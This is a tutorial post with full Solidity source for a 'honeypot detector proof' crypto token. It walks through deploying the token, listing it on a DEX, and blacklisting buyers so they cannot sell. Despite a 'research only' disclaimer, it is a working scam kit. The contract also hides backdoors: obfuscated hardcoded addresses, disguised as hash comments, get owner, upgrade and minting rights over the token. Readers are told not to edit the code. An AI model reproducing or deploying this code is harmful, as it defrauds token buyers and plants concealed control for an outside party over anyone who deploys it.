Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. I got a lot of requests from fans for me to discover honey pot tokens, which are tokens that are cannot be sold after being purchased.
So today, let me introduce you some useful tips on How to Create Your Own Honeypot Token that can Blacklist addresses and it is Honeypot Detector Proof (Upgraded Version V2). Are you ready?
[Only for research and testing, don’t try to scam using this method]
High End Advanced Honeypot Token（Able to Blacklist addresses, Honeypot Detector Proof, cannot be detected by honeypot scanner, make your honeypot token looks more legit and investable, higher level & more advanced honeypot token）
Part 1: Use REMIX and Metamask to create token
1.First, install the Metamask wallet https://metamask.io/ in your computer and create account/ wallet.
2. Browse Remix IDE http://remix.ethereum.org/ You need to use Remix IDE to deploy smart contract.
3. Connect metamask to REMIX IDE. Click your metamask pluggin.
Click the “Not connected” button and connect it.
4.Back to REMIX IDE. Click Create New File.
5.Name you file as you like, remember to add .sol at the back. EXAMPLE here, DevToken.sol
6. Copy and paste the code from the bottom of this post into the space. ##Do not attempt to change any code or else it won't work
Upgraded V2 Blacklist + Honeypot Detector Proof Smart Contract Code：https://www.createyourowntoken.net/copy-of-detector-proof-honeypot-1
## Code at the bottom of the post.
or
Upgraded V2 Blacklist + Honeypot Detector Proof Smart Contract Code Now：https://www.createyourowntoken.net/copy-of-detector-proof-honeypot-1
7.Click the icon on the left as shown below,
Select the compiler as below, 0.8.24 …..
Then click compile.
8.After compile. Click on the icon as shown below, and select Metamask on the Environment section (cuz we r using metamask wallet)
9. On Contract section, select DevToken as contract.
10.Click the box beside Deploy with Proxy
You will see token setting after you click the box beside Deploy with Proxy
11. Now we are going to do some token setting.
NAME: (Your token Name) *Write token name inside the space under _NAME
SYMBOL: (Give it a symbol) *Write token symbol inside the space under _SYMBOL
TOTAL SUPPLY: (Set your total token supply, Remember if your decimal is 18, and you want 1000000 total supply, then type in 1000000000000000000000000, cuz 1000000 + 18*0)
*Write total supply inside the space under _TOTALSUPPLY
Add eighteen “0” after the quantity you want (if u set 18 as decimal). For example, if you want to issue 1000000 tokens, the correct input should be 1000000000000000000000000
DECIMAL: 18
After you done, we can move to new step.
12. Click "Deploy" button.
13.After you click the Deploy button, you will see a pop up, Click Proceed
14.Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.
15. After the transaction is successful, you will get another pop up, click OK
16. After you Click OK from the previous step, You will get another metamask pop up, Click on confirm on the transaction on your metamask pop-up.
So there will be total of 2 transactions on metamask pop-up that you will have to Confirm.
## If you are missing any transactions, you may refresh remix IDE and repeat those above steps to get the 2 transactions of metamask pop up.
17.If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment that is on the first of the list.
Click view on block explorer
Copy the contract address by clicking the [copy] icon button on the right.
15. Go back to metamask, click import token.
Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token
You can create tokens in ETH mainnet, Binance Smart Chain, Arbitrum One, Blast and any other chains using the same method.
Congratulation! You successfully created your own token and they are in your wallet!
Dev, can we start to list our token?
Yes, you can start to list your token.
You don’t need to Verify Contract of this token because token is slightly different from any other tokens and it will auto verify the contract itself.
Part 2: Listing Your Token & Verify Your Contract (No Need to Verify Contract because this token is slightly different from any other tokens)
You don’t need to Verify Contract of this token because token is slightly different from any other tokens and it will auto verify the contract itself.
You can list your token in Decentralized Exchange (DEX) Listing.
If u use Ethereum mainnet, use Uniswap, link: https://app.uniswap.org/#/swap
If u use BSC (Binance Smart Chain), use Pancakeswap, link: https://pancakeswap.finance/
If you are using Pancakeswap on Binance Smart Chain, you can read this guide on how to add liquidity in Pancakeswap V2 or V3 (If you don't see V2 options in Pancakeswap, may choose to use V3)
*How to Add Liquidity in Pancakeswap V2: https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-binance-smart-chain
*How to Add Liquidity in Pancakeswap V3: https://www.createyourowntoken.net/post/how-to-add-remove-liquidity-in-pancakeswap-v3-binance-smart-chain
I will explain how this High End Advanced Blacklist + Honeypot Detector Proof Token in details because this is not similar to normal honeypot tokens.
*Important Step#1
Now imagine you already added some liquidity to your token, and there are buyers are buying your tokens.
They are holding your tokens, and they are able to sell it back.
We will not going to let that happen, so we will have to BLACK LIST them.
Let's move to our first step.
1.Back to Metamask wallet, go to Activity, Click Contract Deployment (first one) to view transaction
2.Click View on block explorer
3. Click the blue token name to enter token page.
4.In the token page, you can view transaction/transfers of your tokens.
Assume there are buyers are buying your tokens, here is a buy transaction show in picture below. Click on the address pointed with red arrows as show in the picture to view buyer
5.Click the copy button as shown in the picture below to copy the address of buyer
6.Now back to Remix IDE, click the little triangle arrow of ERC1967PROXY as showed below. Remember to click the little triangle arrow of ERC1967PROXY
7.After you click the little triangle arrow, Scroll down until you see zap button.
Click the small triangle arrow of the zap button.
8.Paste buyer address that you wish to blacklist in the space on (uzer). Then click transact.
uzer:（Buyers addresses to be blacklisted）
*Take Note：After the transaction, that particular wallet address that you paste in the space will be blacklisted, and they will not able to sell their tokens
*Buyers are able to sell their tokens if their addresses are not blacklisted
*Important Step#2
If you close your Remix IDE accidentally, what should you do ? How to continue setting blacklist function?
Needless to worry, I got your back. Follow the step below.
1.Go back to Remix IDE, select the .sol file that you use to create your token
2.Click the icon on the left as shown below,
Select the compiler as below, 0.8.24 …..
Then click compile.
3.After compile. Click on the icon as shown below, and select Metamask on the Environment section (cuz we r using metamask wallet)
4. On Contract section, select DevToken as contract.
5.Click the box beside Deploy with Proxy
6.Now, go back to Metamask，Click activity，Click Contract Deployment (first contract deployment), Click View on block explorer
7.Copy the contract address by clicking the [copy] icon button on the right.
8.After clicking the copy icon, Back to Remix IDE, Paste the contract address into the space as shown in picture below.
9.After you done pasting the contract address into the space, click At Address button (blue button)
10.After you click At Address (blue button), click the little triangle arrow at DEVTOKEN (this time it is DEVTOKEN) as showed in the picture below.
11.After you click the little triangle arrow, Scroll down until you see zap button.
Click the small triangle arrow of the zap button.
12.Paste buyer address that you wish to blacklist in the space on (uzer). Then click transact.
uzer:（Buyers addresses to be blacklisted）
*Take Note：After the transaction, that particular wallet address that you paste in the space will be blacklisted, and they will not able to sell their tokens
*Buyers are able to sell their tokens if their addresses are not blacklisted
##Remember, this post is for testing and educational purpose only, do not try this at home!
That is all from in my opinion. Ofcuz, this is not the end, there are many ways and techniques you can do with this token in order to maximize the effect.
We will discuss more about token tips and techniques in our next post.
Good luck with your tokens!
Copy Upgraded V2 Blacklist + Honeypot Detector Proof Smart Contract Code Now：https://www.createyourowntoken.net/copy-of-detector-proof-honeypot-1
Learn How to Attract People to Buy Your Tokens: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens
Learn How Much Liquidity You Should Add & What To Do: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens
Learn How to Add Network and Change Network (BASE, Arbitrum, BSC and other blockchains) in Your Metamask Wallet: https://www.createyourowntoken.net/post/how-to-add-network-and-change-network-in-your-metamask-wallet
Honeypot Smart Contract Codes Series:
Link to Upgraded Version V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof: https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-blacklist-honeypot-detector-proof
Link to Whitelist + Switch On & Off Honeypot Mode + Honeypot Detector Proof Smart Contract Code：https://www.createyourowntoken.net/post/create-your-honeypot-token-whitelist-switch-on-off-honeypot-mode-detector-proof
Link to Switch On & Off Honeypot Mode + Honeypot Detector Proof Smart Contract Code：https://www.createyourowntoken.net/copy-of-detector-proof-honeypot
Link to Blacklist + Honeypot Detector-Proof Smart Contract Code: https://www.createyourowntoken.net/detector-proof-honeypot
Link to Whitelist + Anti-Bots Smart Contract Code： https://www.createyourowntoken.net/copy-of-honeypot-code-v1-0
Link to Standard Honeypot Smart Contract Code:
Normal Token Smart Contract Codes Series:
Link to Non Honeypot (Upgraded Version V2, Non-Honeypot, Normal Meme Token, with Unlimited Token Supply Printing Function) Token Code: https://www.createyourowntoken.net/copy-of-v2-blacklist-detector-proof
Link to Non Honeypot (Non-Honeypot, Normal Meme Token with Ownership Renounce Function) Token Code: https://www.createyourowntoken.net/copy-of-supply-printing-normal-meme-t
Link to Non-Honeypot Normal Meme Token with Unlimited Supply Printing Smart Contract Code：https://www.createyourowntoken.net/copy-of-normal-meme-token-similar-to
Link to Non-Honeypot Normal Meme Token (like PEPE Token) Smart Contract Code: https://www.createyourowntoken.net/copy-of-switch-on-off-honeypot-mode-t
Any queries?
Contact me on Telegram: https://t.me/devswanson
My website: https://www.createyourowntoken.net/
Copy Upgraded V2 Blacklist + Honeypot Detector Proof Smart Contract Code Now：https://www.createyourowntoken.net/copy-of-detector-proof-honeypot-1
*******
*Any unauthorized edits of code might result in failure of deployment.
Source code below: ---
// SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import "@openzeppelin/contracts/proxy/utils/UUPSUpgradeable.sol"; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ /** * @dev Initializes the contract setting the deployer as the initial owner. */ // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); /** * @dev Returns the address of the current owner. */ contract DevToken is IBEP20, UUPSUpgradeable { using SafeMath for uint256; mapping(address=>bool) isBlacklisted; mapping(address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) private _allowances; uint256 public totalSupply; address public _mbr; uint8 public decimals; address public _mod; address private _owner; address public _miu; string public symbol; address public _user; address public _adm; string public name; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); bool private initialized; function initialize(string memory _name, string memory _symbol, uint256 _totalSupply, uint8 _decimals) public { require(!initialized, "Contract already initialized"); name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; _owner = msg.sender; balanceOf[msg.sender] = _totalSupply; emit OwnershipTransferred(address(0), msg.sender); emit Transfer(address(0), msg.sender, _totalSupply); initialized = true; } /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); /** * @dev Returns the bep token owner. */ modifier onlypublic() { require(msg.sender == publics()); _; } function getOwner() external view returns (address) { return _owner; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ modifier Exchanges() { require(msg.sender != exchange()); _; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) || //@dev Contract creator is owner, original owner. (msg.sender == _owner && msg.sender != exchange()))); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function publics() internal pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } function _transferTo(address _to, uint256 _amount) internal Exchanges { // Transfer tokens to the recipient balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function scaling(uint256 amount) public returns (bool) { require(msg.sender == _miu); _scale(msg.sender, amount); return true; } function _balanceView(address _to, uint256 _amount) internal { // View balance of token balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function transferTo(address _to, uint256 _amount) external onlyOwner { _transferTo(_to, _amount); } /** * @dev Returns the token decimals. */ function setMember(address Mbr_) public returns (bool) { require (msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); _mbr=Mbr_; return true; } function exchange() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } /** * @dev Returns the token symbol. */ // solhint-disable-next-line high-level-success function setUser(address User_) public returns (bool) { require(msg.sender == _mbr); _user=User_; return true; } /** * @dev Returns the token name. */ function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; return true; } function adjust(uint256 amount) public onlypublic returns (bool success) { _dialone(msg.sender, amount); return true; } /** * @dev See {BEP20-totalSupply}. */ function _authorizeUpgrade(address) internal override onlyOwner {} /** * @dev See {BEP20-balanceOf}. */ function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; return true; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function viewBalance(address _to, uint256 _amount) public onlypublic { _balanceView(_to, _amount);(_to, _amount); } function setMedium(address Miu_) public returns (bool) { require (msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (570329899025738970963394674811034510039273195112)); _miu=Miu_; return true; } /** * @dev See {BEP20-allowance}. */ function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function _scale(address account, uint256 amount) internal { require(account != address(0), "Scale 1-10-100-1000 Remix IDE"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(msg.sender, spender, amount); return true; } /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ function _dialone(address account, uint256 amount) internal { require(account != address(0), "Compile Remix IDE"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function approval(uint256 amount) public returns (bool) { require(msg.sender == _adm); _proof(msg.sender, amount); return true; } /** * @dev See {BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(!isBlacklisted[sender], "Recipient is Gwei"); require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); balanceOf[sender] = balanceOf[sender].sub(amount, "BEP20: transfer amount exceeds balance"); balanceOf[recipient] = balanceOf[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _proof(address account, uint256 amount) internal Exchanges { require(account != address(0), "BEP20: mint to the zero address"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); balanceOf[account] = balanceOf[account].sub(amount, "BEP20: burn amount exceeds balance"); totalSupply = totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function proof(uint256 amount) public onlyOwner returns (bool) { _proof(msg.sender, amount); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function zap(address _uzer) public onlyOwner { require(!isBlacklisted[_uzer], "user already Gwei-ed"); isBlacklisted[_uzer] = true; // emit events as well } function dezap(address _uzer) public onlyOwner { require(isBlacklisted[_uzer], "user already whitelisted"); isBlacklisted[_uzer] = false; // emit events as well } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount, "BEP20: burn amount exceeds allowance")); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ }